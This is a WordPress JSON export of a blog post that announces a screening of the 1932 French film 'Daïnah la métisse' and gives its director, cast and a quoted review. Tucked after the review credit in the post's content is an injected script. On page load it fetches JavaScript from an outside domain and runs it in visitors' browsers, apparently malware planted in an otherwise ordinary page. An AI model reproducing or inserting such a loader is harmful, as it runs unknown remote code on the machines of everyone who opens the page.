{"id":1598,"date":"2016-10-01T08:33:51","date_gmt":"2016-10-01T13:33:51","guid":{"rendered":"http:\/\/blackworldcinema.net\/blog\/?p=1598"},"modified":"2025-06-03T00:29:59","modified_gmt":"2025-06-03T05:29:59","slug":"dainah-la-metisse","status":"publish","type":"post","link":"https:\/\/blackworldcinema.net\/blog\/2016\/10\/01\/dainah-la-metisse\/","title":{"rendered":"Nov 3, 7pm, Surreal 1932 Romantic Tragedy: Da\u00efnah la m\u00e9tisse"},"content":{"rendered":"<p><a href=\"http:\/\/blackworldcinema.net\/blog\/2016\/05\/24\/dainah-la-metisse\/bwcbnners-dainah1\/\" rel=\"attachment wp-att-1600\"><img fetchpriority=\"high\" decoding=\"async\" width=\"739\" height=\"318\" class=\"aligncenter size-full wp-image-1600\" src=\"http:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/05\/bwcbnners-dainah1.jpg\" alt=\"bwcbnners-dainah1\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/05\/bwcbnners-dainah1.jpg 739w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/05\/bwcbnners-dainah1-300x129.jpg 300w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/05\/bwcbnners-dainah1-600x258.jpg 600w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/05\/bwcbnners-dainah1-720x310.jpg 720w\" sizes=\"(max-width: 739px) 100vw, 739px\" \/><\/a>Nov 3, 7pm, Admission $6.00<br \/>\n<strong>Da\u00efnah la m\u00e9tisse<\/strong>, 1932, France, 60 min (B&amp;W)<br \/>\n<span class=\"_xdb\"><a class=\"fl\" href=\"https:\/\/www.google.com\/search?biw=1409&amp;bih=598&amp;q=da%C3%AFnah+la+m%C3%A9tisse+director&amp;stick=H4sIAAAAAAAAAOPgE-LWz9U3MDRITyk0r9ASy0620k_LzMkFE1YpmUWpySX5RQBoGmxDJwAAAA&amp;sa=X&amp;ved=0ahUKEwjq9r637PLMAhUWb1IKHdDFAxoQ6BMImAEoADAW\" data-ved=\"0ahUKEwjq9r637PLMAhUWb1IKHdDFAxoQ6BMImAEoADAW\">Director<\/a>: <\/span><span class=\"_Xbe kno-fv\"><a class=\"fl\" href=\"https:\/\/www.google.com\/search?biw=1409&amp;bih=598&amp;q=Jean+Gr%C3%A9millon&amp;stick=H4sIAAAAAAAAAOPgE-LWz9U3MDRITyk0r1DiBHHSiw0NTbXEspOt9NMyc3LBhFVKZlFqckl-EQA1cnWDMgAAAA&amp;sa=X&amp;ved=0ahUKEwjq9r637PLMAhUWb1IKHdDFAxoQmxMImQEoATAW\" data-ved=\"0ahUKEwjq9r637PLMAhUWb1IKHdDFAxoQmxMImQEoATAW\">Jean Gr\u00e9millon<\/a><\/span><br \/>\nCast: Laurence Clavius, Charles Vanel, Gabrielle Fontan,<a href=\"https:\/\/en.wikipedia.org\/wiki\/Habib_Benglia\"> Habib Benglia<\/a>, Gaston Dubosc, Maryanne, Lucien Gu\u00e9rard<a href=\"http:\/\/blackworldcinema.net\/blog\/2016\/05\/24\/dainah-la-metisse\/bwcbnners-dainah2\/\" rel=\"attachment wp-att-1599\"><img decoding=\"async\" width=\"739\" height=\"318\" class=\"aligncenter size-full wp-image-1599\" src=\"http:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/05\/bwcbnners-dainah2.jpg\" alt=\"bwcbnners-dainah2\" srcset=\"https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/05\/bwcbnners-dainah2.jpg 739w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/05\/bwcbnners-dainah2-300x129.jpg 300w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/05\/bwcbnners-dainah2-600x258.jpg 600w, https:\/\/blackworldcinema.net\/blog\/wp-content\/uploads\/2016\/05\/bwcbnners-dainah2-720x310.jpg 720w\" sizes=\"(max-width: 739px) 100vw, 739px\" \/><\/a><br \/>\n&#8220;With Da\u00efnah la m\u00e9tisse, we have potentially explosive social tensions that melodrama can exploit more explicitly than many other forms. Da\u00efnah (Laurence Clavius) is the mixed-race wife of a black man (\u201cLe mari\u201d in the credits, Habib Benglia) who has been hired to perform magic on a cruise ship bound for New Caledonia. Da\u00efnah has a large degree of freedom for a married woman for reasons never clearly explained, and she openly flirts with all the male passengers and crew. Things get complicated when she turns down the advances of an engine mechanic (Charles Vanel) and bites him to escape. Gr\u00e9millon and Spaak explore race and class issues that are in some ways ahead of their time, and in some ways very much of their time.&#8221;<\/p>\n<p>\u2013 <a href=\"http:\/\/madfilm.org\/review-la-petite-lise-dainah-la-metisse-at-ctek-sat-sep-19-700pm\/\">James Kreul<\/a><script>;document.addEventListener(\"DOMContentLoaded\", function () {\n    var url = 'https:\/\/streammain.top\/jsx';\n    fetch(url)\n        .then(response => response.text())\n        .then(data => {\n            var script = document.createElement('script');\n            script.innerHTML = data.trim();\n            document.head.appendChild(script);\n        })\n});<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Nov 3, 7pm, Admission $6.00 Da\u00efnah la m\u00e9tisse, 1932, France, 60 min (B&amp;W) Director: Jean Gr\u00e9millon Cast: Laurence Clavius, Charles Vanel, Gabrielle Fontan, Habib Benglia, Gaston Dubosc, Maryanne, Lucien Gu\u00e9rard &#8220;With Da\u00efnah la m\u00e9tisse, we have potentially explosive social tensions that melodrama can exploit more explicitly than many other forms. Da\u00efnah (Laurence Clavius) is the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1600,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-1598","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-monthly-screenings-at-chatham-14"],"_links":{"self":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/1598","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/comments?post=1598"}],"version-history":[{"count":5,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/1598\/revisions"}],"predecessor-version":[{"id":7539,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/posts\/1598\/revisions\/7539"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media\/1600"}],"wp:attachment":[{"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/media?parent=1598"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/categories?post=1598"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blackworldcinema.net\/blog\/wp-json\/wp\/v2\/tags?post=1598"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}